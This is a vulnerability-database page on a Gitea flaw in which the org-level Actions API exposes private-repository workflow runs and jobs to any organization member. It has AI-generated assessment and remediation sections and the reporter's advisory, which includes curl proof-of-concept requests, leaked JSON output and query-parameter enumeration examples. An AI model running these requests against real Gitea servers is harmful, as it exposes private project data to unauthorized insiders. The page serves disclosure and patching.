Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privilege org member
-
DeliveryIssue GET /api/v1/orgs/{org}/actions/runs
-
ExploitreqOrgMembership() passes, no per-repo ACL consulted
-
ExecutionDatabase query returns all org-wide workflow runs without access filtering
-
PersistExtract private repo names, commit SHAs, branch names, contributor identities, and workflow metadata
-
ImpactRefine enumeration using branch/head_sha/actor query parameters as search oracle
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be an authenticated member of the target Gitea organization with a valid API token that has organization scope. No team membership, repository assignment, or elevated privilege is required - bare org membership is the only prerequisite. The target organization must have at least one private repository with at least one Actions workflow run recorded in the database. Gitea's Actions feature must not be globally disabled by a site administrator. Exploitation is strictly limited to information disclosure (read-only) - the flaw grants no write access, code execution capability, or token/secret exposure. The per-repo ACL check that correctly blocks the same caller on direct repository endpoints (returning 404) is bypassed entirely by targeting the org-level API surface instead. |
| Impact | The CVSS 3.1 score of 6.5 with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N accurately reflects this flaw: network-reachable, low complexity, requiring only valid org membership (PR:L), with high confidentiality impact but no integrity or availability impact. The PR:L requirement is a genuine and meaningful limiting factor - anonymous users and non-members are entirely excluded. No EPSS score was provided in the input data, so exploitation probability cannot be quantitatively assessed. The vulnerability is not listed in CISA KEV, and no separately packaged exploit tool is identified; however, the advisory contains detailed curl reproduction commands that function as a working proof of concept, substantially reducing exploitation effort. Real-world risk is elevated for organizations that extend org membership to contractors, interviewees, or open-source contributors with low-permission teams, as any such user can immediately mine the entire org's CI history. Scope is correctly rated S:U - the attacker gains read-only access to data they should not see, but cannot modify data or pivot to code execution through this flaw alone. |
| Exploit ScenarioDerived | A contractor invited to a Gitea organization's low-permission team - one with no repository assignments - uses their personal API token to issue GET /api/v1/orgs/target-org/actions/runs. The response immediately returns paginated workflow run records from every private repository in the organization, including repository names, clone URLs, commit SHAs, branch names, workflow file paths, commit messages embedded in display_title, and contributor email addresses. The attacker then pivots using query parameters (e.g., ?head_sha=, ?branch=, ?actor=) to confirm the existence of specific commits or feature branches in repositories they were never granted access to, building a detailed reconnaissance picture of the organization's development activity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
Cross-repository information disclosure in Gitea's org-level Actions API exposes workflow run and job metadata from private repositories to any authenticated organization member, regardless of per-repository access rights. The endpoints GET /api/v1/orgs/{org}/actions/runs and GET /api/v1/orgs/{org}/actions/jobs bypass per-repo ACL checks entirely, allowing low-privileged org members with no team or repository assignments to enumerate private repo names, commit SHAs, branch names, workflow file paths, contributor identities, CI timing, and commit messages across the entire organization. No CISA KEV listing or separately published exploit tool has been identified, but the detailed advisory with curl reproduction commands substantially lowers the exploitation barrier.
RemediationAI
Upgrade to Gitea v1.27.0, which resolves this flaw per the GitHub release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and the security advisory GHSA-frpw-3h2q-4jj6 at https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6. If immediate upgrade is not feasible, restrict organization membership to only fully trusted users, since bare org membership is sufficient to exploit the endpoint - this is a high-friction workaround that may not be operationally viable for organizations that routinely onboard contractors or OSS contributors. Disabling Gitea Actions globally via the admin panel (admin/config) would eliminate the attack surface entirely but also removes all CI/CD functionality, which is likely unacceptable. Placing a network-layer ACL or reverse-proxy rule to block external access to the path pattern /api/v1/orgs/*/actions/* limits exposure to internal network attackers only, but does not protect against insider threats. There is no known per-endpoint toggle to disable only org-level Actions listing while preserving per-repo Actions functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea is a self-hosted Git service written in Go. The affected component is the org-level Actions REST API in routers/api/v1/org/action.go. Route registration for org-level run and job listing uses reqOrgMembership() as the sole authorization gate - checking only bare organization membership, not any per-repository permission. The shared query layer (routers/api/v1/shared/action.go) constructs FindRunOptions with OwnerID set to the org ID and RepoID=0, performing a database join constrained only to repository.owner_id = orgID. No access, team_repo, or collaboration table join is performed, and access_model.GetDoerRepoPermission() is never called. This directly violates the principle of object-level authorization defined by CWE-200 and OWASP API3:2023 Broken Object Property Level Authorization. Per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, etc.) correctly apply ACL checks and return 404 for the same unauthorized caller, confirming the org-level surface is a unique authorization gap. The affected package CPE is pkg:go/code.gitea.io_gitea.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Requires valid org membership token (PR:L) over the network; high confidentiality impact from private repo metadata leak; no integrity or availability impact applies.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization
---
1. Summary
The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobsare gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org - with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
- private repositories the caller has no team membership for,
- repositories where the caller has been explicitly denied the
repo.actions
unit,
- repositories created by other teams the caller is not part of.
Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller - proving the org-level surface is the only path that leaks.
---
2. Affected Code
2.1 Route registration
routers/api/v1/api.go:1647-1652
addActionsRoutes(
m,
reqOrgMembership(), // reqReaderCheck
reqOrgOwnership(), // reqOwnerCheck
org.NewAction(),
)2.2 Helper that registers run/job listing
routers/api/v1/api.go:908-941
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)reqReaderCheck for org-scope = reqOrgMembership() - bare org membership is enough; no per-repo permission is consulted.
2.3 Handler
routers/api/v1/org/action.go:595-683
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}
func (Action) ListWorkflowRuns(ctx *context.APIContext) {
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}2.4 Query construction (no ACL)
routers/api/v1/shared/action.go:138-215
opts := actions_model.FindRunOptions{
OwnerID: ownerID, // ← org ID, NOT user ID
RepoID: repoID, // = 0 at org level
ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)models/actions/run_list.go:102-110
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
if opts.OwnerID > 0 {
return []db.JoinFunc{func(sess db.Engine) error {
sess.Join("INNER", "repository",
"repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
return nil
}}
}
return nil
}The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter - every row in the org is returned.
The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.
---
3. Steps to Reproduce
3.1 Setup
- Org
1st-orgwith one private repo1st-org-repo. - Team
Ownerscontains useradmin(org owner). - Team
1st-teamhas zero repositories assigned (units permission
none for actions, no included repos).
- User
admin2is a regular user (is_admin = false), member of
1st-team only - so org member, but no team grants any access to 1st-org-repo.
Verified that admin2 lacks direct access:
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:
name: ci
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "SECRET_INFO_FROM_PRIVATE_REPO"3.2 Trigger
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/runsOutput (truncated)
{"workflow_runs":[{
"id":7,
"url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
"html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
"display_title":"add workflow",
"path":"ci.yml@refs/heads/main",
"event":"push",
"run_attempt":1,
"run_number":1,
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
"actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
"trigger_actor":{ … "login":"admin" … },
"repository":{
"id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
"description":"test123",
"private":true,
"clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
"ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
…
}
}],"total_count":1}
[200]Same primitive for jobs:
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
"id":7,
"run_id":7,
"name":"hello",
"labels":["ubuntu-latest"],
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
…
}],"total_count":1}
[200]3.3 search primitives
All query parameters supported by ListRuns/ListJobs work too - turning the endpoint into a search oracle over private workflow metadata:
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"All return matching rows from private repos in the org.
---
4. Impact
A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
| Field leaked | Why it matters |
|---|---|
repository.full_name, description, private, clone URLs | Existence + topology of private repos |
head_sha, head_branch | Confirms commits / branch names exist in private repos |
path (workflow file) | Reveals workflow YAML filenames |
event, display_title | Commit messages / event types |
actor, trigger_actor | Internal contributor identities incl. noreply emails |
created_at, started_at | Activity timing / CI cadence |
Pagination + ?head_sha=/?branch=/?actor= filters | Full search oracle over private workflow history |
Real-world consequences:
- Org reconnaissance - confirms existence of private projects, names,
activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
- Insider-threat amplification - any contractor / interviewee / OSS
contributor invited to a low-permission team can mine the rest of the org's CI history.
- Cross-team violation - when an org isolates internal projects via
teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.
- Pivot data - commit SHAs disclosed here unlock subsequent endpoints
that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).
The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.
---
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58149
GHSA-frpw-3h2q-4jj6
NVD
CVE.org
EPSS
Exploit-DB